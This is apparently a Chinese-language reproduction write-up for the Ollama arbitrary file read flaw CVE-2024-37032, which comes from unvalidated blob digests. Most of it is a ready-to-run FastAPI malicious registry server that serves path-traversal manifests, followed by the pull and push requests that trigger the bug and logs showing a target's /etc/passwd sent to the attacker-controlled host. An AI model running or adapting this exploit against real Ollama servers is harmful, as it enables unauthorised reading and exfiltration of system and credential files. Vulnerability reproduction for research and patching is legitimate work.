Ollama任意文件读取漏洞（CVE-2024-37032）

Ollama是一个专为本地机器设计的开源框架，旨在简化大型语言模型（LLM）的部署和运行过程。它提供了一套工具和命令，使用户能够轻松地下载、管理和运行各种语言模型，包括LLaMA、LLaVA等流行模型。Ollama通过优化设置和配置细节，如GPU使用情况，提高了模型运行的效率，并且其代码简洁明了，运行时占用资源少，使得在本地高效地运行大型语言模型成为可能。

在 0.1.34 之前的 Ollama 版本中，在获取模型路径时未对摘要（应为 64 个十六进制字符的 SHA-256）格式进行验证，因此错误处理了 `TestGetBlobsPath` 测试用例，例如少于 64 个十六进制字符、多于 64 个十六进制字符或以 `../` 开头的子字符串。

evilRegServer.py:

```
from fastapi import FastAPI, Request, Response

HOST = "192.168.200.237"
Upload_uid = "11111111-1111-1111-1111-111111111111"
app = FastAPI()

@app.get("/v2/tianweng-anquan/a1batr0ss/manifests/latest")
async def evil_manifest():
```

```
  return
{"schemaVersion":2,"mediaType":"application/vnd.docker.distrib
ution.manifest.v2+json","config":
{"mediaType":"application/vnd.docker.container.image.v1+json",
"digest":"../../../../../../../../../../../../../etc/passwd","
size":10},"layers":
[{"mediaType":"application/vnd.ollama.image.license","digest":
"../../../../../../../../../../../../../test/testfile","size":
10},
{"mediaType":"application/vnd.docker.distribution.manifest.v2+
json","digest":f"../../../../../../../../../../../../../root/.
ollama/models/manifests/{HOST}/tianweng-
anquan/a1batr0ss/latest","size":10}]}


@app.head("/test/testfile")
async def test_head(response: Response):
    return ''

@app.get("/test/testfile", status_code=206)
async def test_get(response: Response):
    return 'TEST'



@app.head(f"/root/.ollama/models/manifests/{HOST}/tianweng-
anquan/a1batr0ss/latest")
async def manifest_head(response: Response):
    return ''

@app.get(f"/root/.ollama/models/manifests/{HOST}/tianweng-
anquan/a1batr0ss/latest", status_code=206)
async def manifest_get(response: Response):
```

```
    return
{"schemaVersion":2,"mediaType":"application/vnd.docker.distrib
ution.manifest.v2+json","config":
{"mediaType":"application/vnd.docker.container.image.v1+json",
"digest":"../../../../../../../../../../../../../etc/passwd","
size":10},"layers":
[{"mediaType":"application/vnd.ollama.image.license","digest":
"../../../../../../../../../../../../../test/testfile","size":
10},
{"mediaType":"application/vnd.docker.distribution.manifest.v2+
json","digest":f"../../../../../../../../../../../../../root/.
ollama/models/manifests/{HOST}/tianweng-
anquan/a1batr0ss/latest","size":10}]}



@app.post("/v2/tianweng-anquan/a1batr0ss/blobs/uploads/",
status_code=202)
async def upload_fake_digest(callback_data: Request, response:
Response):
    response.headers["Docker-Upload-Uuid"] = Upload_uid
    response.headers["Location"] =
f"http://{HOST}/v2/tianweng-
anquan/a1batr0ss/blobs/uploads/{Upload_uid}"
    return ''


@app.patch(f"/v2/tianweng-
anquan/a1batr0ss/blobs/uploads/{Upload_uid}", status_code=202)
async def patch_fake_digest(callback_data: Request):
    print('File Content:')
    print(await callback_data.body())
    return ''
```

```python
if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)
```

运行恶意registry服务器

```
(CommonPython) [redacted] CVE-2024-37032 % python evilRegServer.py
INFO:     Started server process [10257]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:80 (Press CTRL+C to quit)
```

执行pull操作

Request

```
POST /api/pull HTTP/1.1
Host: 10.211.55.3:11434
Content-Type: application/json
Content-Length: 76

{
  "name":"192.168.200.237/tianweng-anquan/a1batr0ss",
  "insecure":true
}
```

Response

```
HTTP/1.1 200 OK
Content-Type: application/x-ndjson
Date: Mon, 17 Mar 2025 11:30:46 GMT
Content-Length: 5672

{
  "status":"pulling manifest"
}
{
  "status":"pulling ./../../../.",
  "digest":"../../../../../../../../../../../../../../test/testfile",
  "total":2,
  "completed":6
}
{
  "status":"pulling ./../../../.",
  "digest":"../../../../../../../../../../../../../../test/testfile",
  "total":2,
  "completed":6
}
{
  "status":"pulling ./../../../.",
  "digest":"../../../../../../../../../../../../../../test/testfile",
  "total":2,
  "completed":6
}
{
  "status":"pulling ./../../../.",
  "digest":"../../../../../../../../../../../../../../test/testfile",
  "total":2,
  "completed":6
}
{
  "status":"pulling ./../../../.",
  "digest":"../../../../../../../../../../../../../../test/testfile",
  "total":2,
  "completed":6
}
{
```

```
(CommonPython) [redacted] CVE-2024-37032 % python evilRegServer.py
INFO:     Started server process [10257]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:80 (Press CTRL+C to quit)
INFO:     192.168.200.237:62278 - "GET /v2/tianweng-anquan/a1batr0ss/manifests/latest HTTP/1.1" 200 OK
INFO:     192.168.200.237:62278 - "HEAD /test/testfile HTTP/1.1" 200 OK
INFO:     192.168.200.237:62278 - "GET /test/testfile HTTP/1.1" 206 Partial Content
INFO:     192.168.200.237:62278 - "HEAD /root/.ollama/models/manifests/192.168.200.237/tianweng-anquan/a1batr0ss/latest HTTP/1.1" 200 OK
INFO:     192.168.200.237:62278 - "GET /root/.ollama/models/manifests/192.168.200.237/tianweng-anquan/a1batr0ss/latest HTTP/1.1" 206 Partial Content
```

执行push操作，成功读取到/etc/passwd内容

Send Cancel

Request

Pretty Raw Hex MarkInfo

```
1 POST /api/push HTTP/1.1
2 Host: 10.211.55.3:11434
3 Content-Type: application/json
4 Content-Length: 76
5
6 {
7     "name":"192.168.200.237/tianweng-anquan/a1batr0ss",
8     "insecure":true
9 }
```

Response

Pretty Raw Hex Render MarkInfo

```
1 HTTP/1.1 200 OK
2 Content-Type: application/x-ndjson
3 Date: Mon, 17 Mar 2025 11:31:37 GMT
4 Content-Length: 129805
5
6 {
      "status":"retrieving manifest"
  }
7 {
      "status":"pushing ./../../../.",
      "digest":"../../../../../../../../../../../../../test/testfile",
      "total":10,
      "completed":10
  }
8 {
      "status":"pushing ./../../../.",
      "digest":
      "../../../../../../../../../../../../../root/.ollama/models/manifes
      ts/192.168.200.237/tianweng-anquan/a1batr0ss/latest",
      "total":10,
      "completed":10
  }
9 {
      "status":"pushing ./../../../.",
      "digest":"../../../../../../../../../../../../../etc/passwd",
      "total":922,
      "completed":922
  }
10 {
      "status":"pushing ./../../../.",
      "digest":"../../../../../../../../../../../../../etc/passwd",
      "total":922,
      "completed":922
  }
11 {
      "status":"pushing ./../../../.",
      "digest":"../../../../../../../../../../../../../etc/passwd",
      "total":922,
      "completed":922
```

Search 0 highlights

Search 0 highlights

```
(CommonPython) [redacted]                CVE-2024-37032 % python evilRegServer.py
INFO:     Started server process [10257]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://0.0.0.0:80 (Press CTRL+C to quit)
INFO:     192.168.200.237:62278 - "GET /v2/tianweng-anquan/a1batr0ss/manifests/latest HTTP/1.1" 200 OK
INFO:     192.168.200.237:62278 - "HEAD /test/testfile HTTP/1.1" 200 OK
INFO:     192.168.200.237:62278 - "GET /test/testfile HTTP/1.1" 206 Partial Content
INFO:     192.168.200.237:62278 - "HEAD /root/.ollama/models/manifests/192.168.200.237/tianweng-anquan/a1batr0ss/latest HTTP/1.1" 200 OK
INFO:     192.168.200.237:62278 - "GET /root/.ollama/models/manifests/192.168.200.237/tianweng-anquan/a1batr0ss/latest HTTP/1.1" 206 Partial Content
INFO:     192.168.200.237:62327 - "HEAD /test/testfile HTTP/1.1" 200 OK
INFO:     192.168.200.237:62327 - "HEAD /root/.ollama/models/manifests/192.168.200.237/tianweng-anquan/a1batr0ss/latest HTTP/1.1" 200 OK
INFO:     192.168.200.237:62327 - "HEAD /etc/passwd HTTP/1.1" 404 Not Found
INFO:     192.168.200.237:62327 - "POST /v2/tianweng-anquan/a1batr0ss/blobs/uploads/ HTTP/1.1" 202 Accepted
File Content:
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n
sync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd
:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/
nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\
nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/
var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n'
INFO:     192.168.200.237:62328 - "PATCH /v2/tianweng-anquan/a1batr0ss/blobs/uploads/11111111-1111-1111-1111-111111111111 HTTP/1.1" 202 Accepted
```